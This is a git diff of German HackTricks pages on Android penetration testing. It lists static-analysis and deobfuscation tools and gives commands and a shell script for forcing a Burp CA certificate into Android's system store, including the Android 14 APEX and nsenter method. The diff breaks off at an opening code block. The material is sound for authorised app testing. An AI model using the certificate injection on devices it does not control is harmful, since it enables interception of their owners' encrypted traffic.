Dieses Tool ist darauf ausgelegt, nach mehreren **sicherheitsrelevanten Schwachstellen von Android-Anwendungen** zu suchen, entweder im **Quellcode** oder in **verpackten APKs**. Das Tool ist auch **in der Lage, ein "Proof-of-Concept" bereitstellbares APK** und **ADB-Befehle** zu erstellen, um einige der gefundenen Schwachstellen auszunutzen (exponierte Aktivitäten, Intents, Tapjacking...). Wie bei Drozer ist es nicht erforderlich, das Testgerät zu rooten.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
|
@ -672,9 +666,9 @@ qark --java path/to/specific/java/file.java
|
|||
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
|
||||
|
||||
* Zeigt alle extrahierten Dateien zur einfachen Referenz an
|
||||
* Dekompiliert APK-Dateien automatisch in das Java- und Smali-Format
|
||||
* Analysiert AndroidManifest.xml auf häufige Schwachstellen und Verhaltensweisen
|
||||
* Statische Quellcodeanalyse auf häufige Schwachstellen und Verhaltensweisen
|
||||
* Dekompiliert APK-Dateien automatisch in Java- und Smali-Format
|
||||
* Analysiert AndroidManifest.xml auf häufige Schwachstellen und Verhalten
|
||||
* Statische Quellcodeanalyse auf häufige Schwachstellen und Verhalten
|
||||
* Geräteinformationen
|
||||
* und mehr
|
||||
```bash
|
||||
|
@ -682,9 +676,9 @@ reverse-apk relative/path/to/APP.apk
|
|||
```
|
||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
|
||||
|
||||
SUPER ist eine Befehlszeilenanwendung, die in Windows, MacOS X und Linux verwendet werden kann, um _.apk_-Dateien nach Schwachstellen zu analysieren. Dies geschieht durch das Dekomprimieren von APKs und das Anwenden einer Reihe von Regeln zur Erkennung dieser Schwachstellen.
|
||||
SUPER ist eine Befehlszeilenanwendung, die in Windows, MacOS X und Linux verwendet werden kann, um _.apk_ Dateien auf Schwachstellen zu untersuchen. Dies geschieht durch das Dekomprimieren von APKs und das Anwenden einer Reihe von Regeln zur Erkennung dieser Schwachstellen.
|
||||
|
||||
Alle Regeln sind in einer `rules.json`-Datei zentriert, und jedes Unternehmen oder Tester kann seine eigenen Regeln erstellen, um das zu analysieren, was sie benötigen.
|
||||
Alle Regeln sind in einer `rules.json`-Datei zentriert, und jedes Unternehmen oder Tester kann seine eigenen Regeln erstellen, um zu analysieren, was sie benötigen.
|
||||
|
||||
Laden Sie die neuesten Binärdateien von der [Download-Seite](https://superanalyzer.rocks/download.html) herunter.
|
||||
```
|
||||
|
@ -696,9 +690,9 @@ super-analyzer {apk_file}
|
|||
|
||||
StaCoAn ist ein plattformübergreifendes Tool, das Entwicklern, Bug-Bounty-Jägern und ethischen Hackern bei der Durchführung einer statischen Codeanalyse von mobilen Anwendungen hilft.
|
||||
|
||||
Das Konzept besteht darin, dass Sie Ihre mobile Anwendungsdatei (eine .apk- oder .ipa-Datei) auf die StaCoAn-Anwendung ziehen und ablegen und diese dann einen visuellen und portablen Bericht für Sie generiert. Sie können die Einstellungen und Wortlisten anpassen, um eine individuelle Erfahrung zu erhalten.
|
||||
Das Konzept besteht darin, dass Sie Ihre mobile Anwendungsdatei (eine .apk- oder .ipa-Datei) in die StaCoAn-Anwendung ziehen und ablegen, und diese wird einen visuellen und tragbaren Bericht für Sie generieren. Sie können die Einstellungen und Wortlisten anpassen, um eine personalisierte Erfahrung zu erhalten.
|
||||
|
||||
Laden Sie die [neueste Version](https://github.com/vincentcox/StaCoAn/releases) herunter:
|
||||
Laden Sie die [neueste Version herunter](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
./stacoan
|
||||
```
|
||||
|
@ -712,9 +706,9 @@ androbugs.exe -f [APK file]
|
|||
```
|
||||
### [Androwarn](https://github.com/maaaaz/androwarn)
|
||||
|
||||
**Androwarn** ist ein Tool, dessen Hauptziel es ist, den Benutzer über potenziell schädliches Verhalten einer Android-Anwendung zu erkennen und zu warnen.
|
||||
**Androwarn** ist ein Tool, dessen Hauptziel es ist, potenziell bösartige Verhaltensweisen zu erkennen und den Benutzer zu warnen, die von einer Android-Anwendung entwickelt wurden.
|
||||
|
||||
Die Erkennung erfolgt durch die **statische Analyse** des Dalvik-Bytecodes der Anwendung, der als **Smali** dargestellt wird, mit der Bibliothek [`androguard`](https://github.com/androguard/androguard).
|
||||
Die Erkennung erfolgt durch die **statische Analyse** des Dalvik-Bytecodes der Anwendung, dargestellt als **Smali**, mit der [`androguard`](https://github.com/androguard/androguard) Bibliothek.
|
||||
|
||||
Dieses Tool sucht nach **üblichem Verhalten von "schlechten" Anwendungen** wie: Exfiltration von Telekommunikationsidentifikatoren, Abfangen von Audio-/Videodatenströmen, Modifikation von PIM-Daten, Ausführung beliebigen Codes...
|
||||
```
|
||||
|
@ -724,15 +718,15 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
|||
|
||||
![](<../../.gitbook/assets/image (81).png>)
|
||||
|
||||
**MARA** ist ein **M**obile **A**pplication **R**everse Engineering und **A**nalysis Framework. Es ist ein Tool, das gängige Reverse Engineering- und Analysetools für mobile Anwendungen zusammenführt, um bei der Prüfung von mobilen Anwendungen gegen die OWASP-Mobile-Sicherheitsbedrohungen zu helfen. Ziel ist es, diese Aufgabe für mobile Anwendungsentwickler und Sicherheitsexperten einfacher und benutzerfreundlicher zu gestalten.
|
||||
**MARA** ist ein **M**obile **A**pplication **R**everse Engineering und **A**nalysis Framework. Es ist ein Tool, das gängige Tools für das Reverse Engineering und die Analyse von mobilen Anwendungen zusammenführt, um bei der Prüfung von mobilen Anwendungen gegen die OWASP-Sicherheitsbedrohungen zu helfen. Das Ziel ist es, diese Aufgabe für mobile Anwendungs-Entwickler und Sicherheitsfachleute einfacher und benutzerfreundlicher zu gestalten.
|
||||
|
||||
Es kann Folgendes tun:
|
||||
Es kann:
|
||||
|
||||
* Java- und Smali-Code mit verschiedenen Tools extrahieren
|
||||
* APKs mit [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) analysieren
|
||||
* Private Informationen aus der APK mit Regexps extrahieren.
|
||||
* APKs analysieren mit: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
* Private Informationen aus der APK mithilfe von Regexps extrahieren.
|
||||
* Das Manifest analysieren.
|
||||
* Gefundene Domains mit [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) und [whatweb](https://github.com/urbanadventurer/WhatWeb) analysieren
|
||||
* Gefundene Domains analysieren mit: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) und [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
* APK über [apk-deguard.com](http://www.apk-deguard.com) deobfuskieren
|
||||
|
||||
### Koodous
|
||||
|
@ -741,50 +735,49 @@ Nützlich zur Erkennung von Malware: [https://koodous.com/](https://koodous.com)
|
|||
|
||||
## Code obfuskieren/deobfuskieren
|
||||
|
||||
Beachten Sie, dass je nachdem, welchen Dienst und welche Konfiguration Sie zur Code-Obfuskierung verwenden, Geheimnisse obfuskiert oder nicht obfuskiert werden können.
|
||||
Beachten Sie, dass je nach dem Service und der Konfiguration, die Sie zum Obfuskieren des Codes verwenden, Geheimnisse obfuskiert sein können oder nicht.
|
||||
|
||||
### [ProGuard](https://en.wikipedia.org/wiki/ProGuard\_\(software\))
|
||||
|
||||
Laut [Wikipedia](https://en.wikipedia.org/wiki/ProGuard\_\(software\)) ist **ProGuard** ein Open-Source-Befehlszeilentool, das Java-Code verkleinert, optimiert und obfuskiert. Es kann Bytecode optimieren und nicht verwendete Anweisungen erkennen und entfernen. ProGuard ist freie Software und wird unter der GNU General Public License, Version 2, verteilt.
|
||||
|
||||
ProGuard wird als Teil des Android SDKs verteilt und wird beim Erstellen der Anwendung im Release-Modus ausgeführt.
|
||||
Von [Wikipedia](https://en.wikipedia.org/wiki/ProGuard\_\(software\)): **ProGuard** ist ein Open-Source-Befehlszeilentool, das Java-Code verkleinert, optimiert und obfuskiert. Es kann Bytecode optimieren sowie ungenutzte Anweisungen erkennen und entfernen. ProGuard ist freie Software und wird unter der GNU General Public License, Version 2, verteilt.
|
||||
|
||||
ProGuard wird als Teil des Android SDK verteilt und wird beim Erstellen der Anwendung im Release-Modus ausgeführt.
|
||||
|
||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||
|
||||
Eine schrittweise Anleitung zur Deobfuskierung der APK finden Sie unter [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
Finden Sie eine schrittweise Anleitung zur Deobfuskierung der APK unter [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
|
||||
(Aus dieser Anleitung) Das letzte Mal, als wir nachgeschaut haben, war der Dexguard-Modus wie folgt:
|
||||
(Aus dieser Anleitung) Das letzte Mal, als wir nachgeschaut haben, war der Dexguard-Modus der Betrieb:
|
||||
|
||||
* Eine Ressource als InputStream laden;
|
||||
* Laden einer Ressource als InputStream;
|
||||
* Das Ergebnis an eine von FilterInputStream abgeleitete Klasse weitergeben, um es zu entschlüsseln;
|
||||
* Eine nutzlose Obfuskation durchführen, um ein paar Minuten Zeit von einem Reverser zu verschwenden;
|
||||
* Einige nutzlose Obfuskation durchführen, um einem Reverser ein paar Minuten Zeit zu stehlen;
|
||||
* Das entschlüsselte Ergebnis an einen ZipInputStream weitergeben, um eine DEX-Datei zu erhalten;
|
||||
* Schließlich die resultierende DEX-Datei als Ressource mit der Methode `loadDex` laden.
|
||||
* Schließlich die resultierende DEX als Ressource mit der Methode `loadDex` laden.
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
**DeGuard kehrt den von Android-Obfuskationstools durchgeführten Obfuskationsprozess um. Dadurch werden zahlreiche Sicherheitsanalysen ermöglicht, einschließlich Code-Inspektion und Vorhersage von Bibliotheken.**
|
||||
**DeGuard kehrt den Vorgang der Obfuskation um, der von Android-Obfuskationstools durchgeführt wurde. Dies ermöglicht zahlreiche Sicherheitsanalysen, einschließlich Codeinspektion und Vorhersage von Bibliotheken.**
|
||||
|
||||
Sie können eine obfuskierte APK auf ihrer Plattform hochladen.
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
Es handelt sich um einen **generischen Android-Deobfuskator.** Simplify **führt eine App virtuell aus**, um ihr Verhalten zu verstehen, und versucht dann, den Code zu optimieren, sodass er identisch funktioniert, aber für einen Menschen leichter verständlich ist. Jeder Optimierungstyp ist einfach und generisch, daher spielt es keine Rolle, welche spezifische Art der Obfuskation verwendet wird.
|
||||
Es ist ein **generischer Android-Deobfuscator.** Simplify **führt praktisch eine App aus**, um ihr Verhalten zu verstehen, und versucht dann, den Code zu optimieren, damit er sich identisch verhält, aber für einen Menschen leichter verständlich ist. Jede Optimierungsart ist einfach und generisch, daher spielt es keine Rolle, welche spezifische Art der Obfuskation verwendet wird.
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
APKiD liefert Informationen darüber, **wie eine APK erstellt wurde**. Es erkennt viele **Compiler**, **Packer**, **Obfuskatoren** und andere seltsame Dinge. Es ist das [_PEiD_](https://www.aldeid.com/wiki/PEiD) für Android.
|
||||
APKiD gibt Ihnen Informationen darüber, **wie eine APK erstellt wurde**. Es identifiziert viele **Compiler**, **Packer**, **Obfuskatoren** und andere seltsame Dinge. Es ist [_PEiD_](https://www.aldeid.com/wiki/PEiD) für Android.
|
||||
|
||||
### Manuell
|
||||
|
||||
[Lesen Sie dieses Tutorial, um einige Tricks zur **Rückgängigmachung der benutzerdefinierten Obfuskation** zu erlernen](manual-deobfuscation.md)
|
||||
[Lesen Sie dieses Tutorial, um einige Tricks zum **Reverse Engineering von benutzerdefinierter Obfuskation** zu lernen](manual-deobfuscation.md)
|
||||
|
||||
## Labs
|
||||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b ist eine Android-Sicherheits-Virtual Machine, die auf Ubuntu-Mate basiert und die neuesten Frameworks, Tutorials und Labs von verschiedenen Sicherheits-Geeks und Forschern für Reverse Engineering und Malware-Analyse enthält.
|
||||
AndroL4b ist eine Android-Sicherheitsvirtual Machine auf Basis von Ubuntu-Mate, die die neuesten Frameworks, Tutorials und Labs von verschiedenen Sicherheitsgeeks und Forschern für Reverse Engineering und Malware-Analyse enthält.
|
||||
|
||||
## Referenzen
|
||||
|
||||
|
@ -811,20 +804,6 @@ Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herau
|
|||
Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke auf dem Laufenden
|
||||
|
||||
**Neueste Ankündigungen**\
|
||||
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattform-Updates informiert
|
||||
Bleiben Sie über die neuesten Bug-Bounties und wichtigen Plattform-Updates informiert
|
||||
|
||||
**Treten Sie uns bei** [**Discord**](https://discord.com/invite/N3FrSbmwdy) bei und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten!
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
|
||||
</details>
|
||||
**Treten Sie uns bei** auf [**Discord**](https://discord.com/invite/N3FrSbmwdy) und beginnen Sie noch heute mit der Zusammenarbeit mit Top-Hackern!
|
||||
|
|
|
@ -2,26 +2,26 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Lernen Sie das Hacken von AWS von Grund auf mit <a href="https://training.hacktricks.xyz/courses/arte">htARTE (HackTricks AWS Red Team Expert)</a>!</summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die [ABONNEMENTPLÄNE](https://github.com/sponsors/carlospolop)!
|
||||
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
|
||||
- Entdecken Sie die PEASS-Familie, unsere Sammlung exklusiver NFTs
|
||||
- Treten Sie der Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter
|
||||
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks- und HackTricks Cloud-GitHub-Repositories senden
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
|
||||
</details>
|
||||
|
||||
## In einer virtuellen Maschine
|
||||
## Auf einer virtuellen Maschine
|
||||
|
||||
Zunächst müssen Sie das Der-Zertifikat von Burp herunterladen. Dies können Sie in _**Proxy**_ --> _**Optionen**_ --> _**CA-Zertifikat importieren/exportieren**_ tun.
|
||||
Zunächst müssen Sie das Der-Zertifikat von Burp herunterladen. Dies können Sie unter _**Proxy**_ --> _**Optionen**_ --> _**CA-Zertifikat importieren/exportieren**_ tun
|
||||
|
||||
![](<../../.gitbook/assets/image (367).png>)
|
||||
|
||||
**Exportieren Sie das Zertifikat im Der-Format** und wandeln Sie es in eine Form um, die **Android** verstehen kann. Beachten Sie, dass Sie **zum Konfigurieren des Burp-Zertifikats auf der Android-Maschine in AVD** diese Maschine **mit der Option `-writable-system`** ausführen müssen.\
|
||||
Sie können es zum Beispiel so ausführen:
|
||||
**Exportieren Sie das Zertifikat im Der-Format** und wandeln Sie es in eine Form um, die **Android** verstehen kann. Beachten Sie, dass **um das Burp-Zertifikat auf der Android-Maschine in AVD zu konfigurieren**, Sie diese Maschine **mit** der Option **`-writable-system`** ausführen müssen.\
|
||||
Sie können sie beispielsweise wie folgt ausführen:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -44,39 +44,39 @@ adb reboot #Now, reboot the machine
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Sobald die **Maschine neu gestartet** ist, wird das Burp-Zertifikat von ihr verwendet!
|
||||
Nachdem die **Maschine neu gestartet** wurde, wird das Burp-Zertifikat von ihr verwendet!
|
||||
|
||||
## Mit Magisc
|
||||
## Verwendung von Magisc
|
||||
|
||||
Wenn Sie Ihr Gerät mit Magisc **gerootet** haben (vielleicht ein Emulator) und Sie den vorherigen **Schritten** zum Installieren des Burp-Zertifikats nicht folgen können, weil das **Dateisystem schreibgeschützt** ist und Sie es nicht beschreibbar umhängen können, gibt es einen anderen Weg.
|
||||
Wenn Sie Ihr Gerät mit Magisc **gerootet haben** (vielleicht einen Emulator) und Sie den vorherigen **Schritten** zum Installieren des Burp-Zertifikats nicht folgen können, weil das **Dateisystem schreibgeschützt ist** und Sie es nicht beschreibbar neu einhängen können, gibt es einen anderen Weg.
|
||||
|
||||
Wie in [**diesem Video**](https://www.youtube.com/watch?v=qQicUW0svB8) erklärt, müssen Sie Folgendes tun:
|
||||
Wie in [**diesem Video**](https://www.youtube.com/watch?v=qQicUW0svB8) erklärt, müssen Sie:
|
||||
|
||||
1. **Installieren Sie ein CA-Zertifikat**: Ziehen Sie einfach das DER-Burp-Zertifikat **mit Änderung der Erweiterung** in `.crt` auf das Mobilgerät, damit es im Download-Ordner gespeichert wird, und gehen Sie zu `Installieren Sie ein Zertifikat` -> `CA-Zertifikat`
|
||||
1. **Installieren Sie ein CA-Zertifikat**: Ziehen Sie einfach das DER-Burp-Zertifikat **mit Änderung der Erweiterung** in `.crt` auf das Mobilgerät, damit es im Download-Ordner gespeichert wird, und gehen Sie zu `Zertifikat installieren` -> `CA-Zertifikat`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
|
||||
* Überprüfen Sie, ob das Zertifikat korrekt gespeichert wurde, indem Sie zu `Vertrauenswürdige Anmeldeinformationen` -> `BENUTZER` gehen
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
|
||||
2. **Machen Sie es systemweit vertrauenswürdig**: Laden Sie das Magisc-Modul [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (eine .zip-Datei) herunter, **ziehen Sie es** auf das Telefon, gehen Sie zur **Magics-App** auf dem Telefon zum Abschnitt **`Module`**, klicken Sie auf **`Von Speicher installieren`**, wählen Sie das `.zip`-Modul aus und starten Sie das Telefon nach der Installation **neu**:
|
||||
2. **Machen Sie es systemvertraut**: Laden Sie das Magisc-Modul [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (eine .zip-Datei) herunter, **ziehen Sie es** auf das Telefon, gehen Sie zur **Magics-App** auf dem Telefon zum Abschnitt **`Module`**, klicken Sie auf **`Von Speicher installieren`**, wählen Sie das `.zip`-Modul aus und nach der Installation **starten Sie** das Telefon neu:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
|
||||
* Nach dem Neustart gehen Sie zu `Vertrauenswürdige Anmeldeinformationen` -> `SYSTEM` und überprüfen Sie, ob das Postswigger-Zertifikat vorhanden ist
|
||||
* Nach dem Neustart gehen Sie zu `Vertrauenswürdige Anmeldeinformationen` -> `SYSTEM` und überprüfen, ob das Postswigger-Zertifikat vorhanden ist
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt="" width="314"><figcaption></figcaption></figure>
|
||||
|
||||
## Nach Android 14
|
||||
|
||||
In der neuesten Version von Android 14 wurde eine bedeutende Änderung im Umgang mit systemweit vertrauenswürdigen Zertifizierungsstellen (CA) beobachtet. Zuvor waren diese Zertifikate in **`/system/etc/security/cacerts/`** gespeichert und von Benutzern mit Root-Rechten zugänglich und änderbar, was eine sofortige Anwendung im gesamten System ermöglichte. Mit Android 14 wurde der Speicherort jedoch in **`/apex/com.android.conscrypt/cacerts`** verschoben, ein Verzeichnis im Pfad **`/apex`**, das von Natur aus unveränderlich ist.
|
||||
Bei der neuesten Veröffentlichung von Android 14 wurde eine signifikante Veränderung im Umgang mit systemvertrauten Zertifizierungsstellen (CA) beobachtet. Zuvor waren diese Zertifikate in **`/system/etc/security/cacerts/`** untergebracht, zugänglich und modifizierbar von Benutzern mit Root-Rechten, was eine sofortige Anwendung im gesamten System ermöglichte. Mit Android 14 wurde der Speicherort jedoch in **`/apex/com.android.conscrypt/cacerts`** verschoben, ein Verzeichnis innerhalb des **`/apex`**-Pfads, der von Natur aus unveränderlich ist.
|
||||
|
||||
Versuche, den **APEX cacerts-Pfad** als beschreibbar zu mounten, scheitern, da das System solche Operationen nicht zulässt. Selbst Versuche, das Verzeichnis mit einem temporären Dateisystem (tmpfs) zu entmounten oder zu überlagern, umgehen nicht die Unveränderlichkeit; Anwendungen greifen weiterhin auf die ursprünglichen Zertifikatsdaten zu, unabhängig von Änderungen auf Dateisystemebene. Diese Widerstandsfähigkeit beruht darauf, dass das **`/apex`**-Mount mit PRIVATE-Propagation konfiguriert ist, sodass Änderungen innerhalb des **`/apex`**-Verzeichnisses keine Auswirkungen auf andere Prozesse haben.
|
||||
Versuche, den **APEX-Cacerts-Pfad** als beschreibbar neu einzuhängen, scheitern, da das System solche Operationen nicht zulässt. Selbst der Versuch, das Verzeichnis mit einem temporären Dateisystem (tmpfs) zu entmontieren oder zu überlagern, umgeht nicht die Unveränderlichkeit; Anwendungen greifen weiterhin auf die originalen Zertifikatsdaten zu, unabhängig von Änderungen auf Dateisystemebene. Diese Widerstandsfähigkeit beruht darauf, dass das **`/apex`**-Mount mit einer PRIVATEN Propagierung konfiguriert ist, was sicherstellt, dass Änderungen innerhalb des **`/apex`**-Verzeichnisses keine Auswirkungen auf andere Prozesse haben.
|
||||
|
||||
Die Initialisierung von Android umfasst den `init`-Prozess, der beim Starten des Betriebssystems auch den Zygote-Prozess startet. Dieser Prozess ist dafür verantwortlich, Anwendungsprozesse mit einem neuen Mount-Namespace zu starten, der ein privates **`/apex`**-Mount enthält und somit Änderungen in diesem Verzeichnis von anderen Prozessen isoliert.
|
||||
Die Initialisierung von Android beinhaltet den `init`-Prozess, der beim Starten des Betriebssystems auch den Zygote-Prozess initiiert. Dieser Prozess ist dafür verantwortlich, Anwendungsprozesse mit einem neuen Mount-Namespace zu starten, der ein privates **`/apex`**-Mount enthält und somit Änderungen in diesem Verzeichnis von anderen Prozessen isoliert.
|
||||
|
||||
Dennoch gibt es eine Lösung für diejenigen, die die systemweit vertrauenswürdigen CA-Zertifikate im **`/apex`**-Verzeichnis ändern müssen. Dies beinhaltet das manuelle Umhängen von **`/apex`**, um die PRIVATE-Propagation zu entfernen und es beschreibbar zu machen. Der Prozess umfasst das Kopieren des Inhalts von **`/apex/com.android.conscrypt`** an einen anderen Ort, das Entmounten des Verzeichnisses **`/apex/com.android.conscrypt`**, um die schreibgeschützte Einschränkung zu beseitigen, und das Wiederherstellen des Inhalts an ihren ursprünglichen Speicherort innerhalb von **`/apex`**. Dieser Ansatz erfordert schnelles Handeln, um Systemabstürze zu vermeiden. Um die systemweite Anwendung dieser Änderungen sicherzustellen, wird empfohlen, den `system_server` neu zu starten, der alle Anwendungen effektiv neu startet und das System in einen konsistenten Zustand versetzt.
|
||||
Dennoch existiert ein Workaround für diejenigen, die die systemvertrauten CA-Zertifikate im **`/apex`**-Verzeichnis ändern müssen. Dies beinhaltet das manuelle Neu-Einhängen von **`/apex`**, um die PRIVATE Propagierung zu entfernen und es beschreibbar zu machen. Der Prozess umfasst das Kopieren des Inhalts von **`/apex/com.android.conscrypt`** an einen anderen Ort, das Aushängen des **`/apex/com.android.conscrypt`**-Verzeichnisses, um die schreibgeschützte Einschränkung zu beseitigen, und dann das Wiederherstellen des Inhalts an ihren ursprünglichen Ort innerhalb von **`/apex`**. Dieser Ansatz erfordert schnelles Handeln, um Systemabstürze zu vermeiden. Um die systemweite Anwendung dieser Änderungen sicherzustellen, wird empfohlen, den `system_server` neu zu starten, was alle Anwendungen effektiv neu startet und das System in einen konsistenten Zustand versetzt.
|
||||
```bash
|
||||
# Create a separate temp directory, to hold the current certificates
|
||||
# Otherwise, when we add the mount we can't read the current certs anymore.
|
||||
|
@ -136,37 +136,23 @@ echo "System certificate injected"
|
|||
```
|
||||
### Bind-Mounting durch NSEnter
|
||||
|
||||
1. **Einrichten eines beschreibbaren Verzeichnisses**: Zunächst wird ein beschreibbares Verzeichnis eingerichtet, indem ein `tmpfs` über das vorhandene nicht-APEX-Systemzertifikatverzeichnis gemountet wird. Dies wird mit dem folgenden Befehl erreicht:
|
||||
1. **Einrichten eines beschreibbaren Verzeichnisses**: Zunächst wird ein beschreibbares Verzeichnis eingerichtet, indem ein `tmpfs` über das vorhandene nicht-APEX-Systemzertifikatsverzeichnis gemountet wird. Dies wird mit dem folgenden Befehl erreicht:
|
||||
```bash
|
||||
mount -t tmpfs tmpfs /system/etc/security/cacerts
|
||||
```
|
||||
2. **Vorbereitung der CA-Zertifikate**: Nachdem das beschreibbare Verzeichnis eingerichtet wurde, sollten die CA-Zertifikate, die verwendet werden sollen, in dieses Verzeichnis kopiert werden. Dies kann das Kopieren der Standardzertifikate von `/apex/com.android.conscrypt/cacerts/` beinhalten. Es ist wichtig, die Berechtigungen und SELinux-Labels dieser Zertifikate entsprechend anzupassen.
|
||||
|
||||
3. **Bind-Mounting für Zygote**: Mit Hilfe von `nsenter` betritt man den Mount-Namespace von Zygote. Zygote ist der Prozess, der für das Starten von Android-Anwendungen verantwortlich ist, und dieser Schritt ist erforderlich, um sicherzustellen, dass alle anschließend gestarteten Anwendungen die neu konfigurierten CA-Zertifikate verwenden. Der verwendete Befehl lautet:
|
||||
2. **Vorbereitung von CA-Zertifikaten**: Nachdem das beschreibbare Verzeichnis eingerichtet wurde, sollten die CA-Zertifikate, die man verwenden möchte, in dieses Verzeichnis kopiert werden. Dies kann das Kopieren der Standardzertifikate von `/apex/com.android.conscrypt/cacerts/` umfassen. Es ist wichtig, die Berechtigungen und SELinux-Labels dieser Zertifikate entsprechend anzupassen.
|
||||
3. **Bind-Mounting für Zygote**: Unter Verwendung von `nsenter` tritt man in den Mount-Namensraum von Zygote ein. Da Zygote der Prozess ist, der für das Starten von Android-Anwendungen verantwortlich ist, ist dieser Schritt erforderlich, um sicherzustellen, dass alle anschließend initiierten Anwendungen die neu konfigurierten CA-Zertifikate verwenden. Der verwendete Befehl lautet:
|
||||
```bash
|
||||
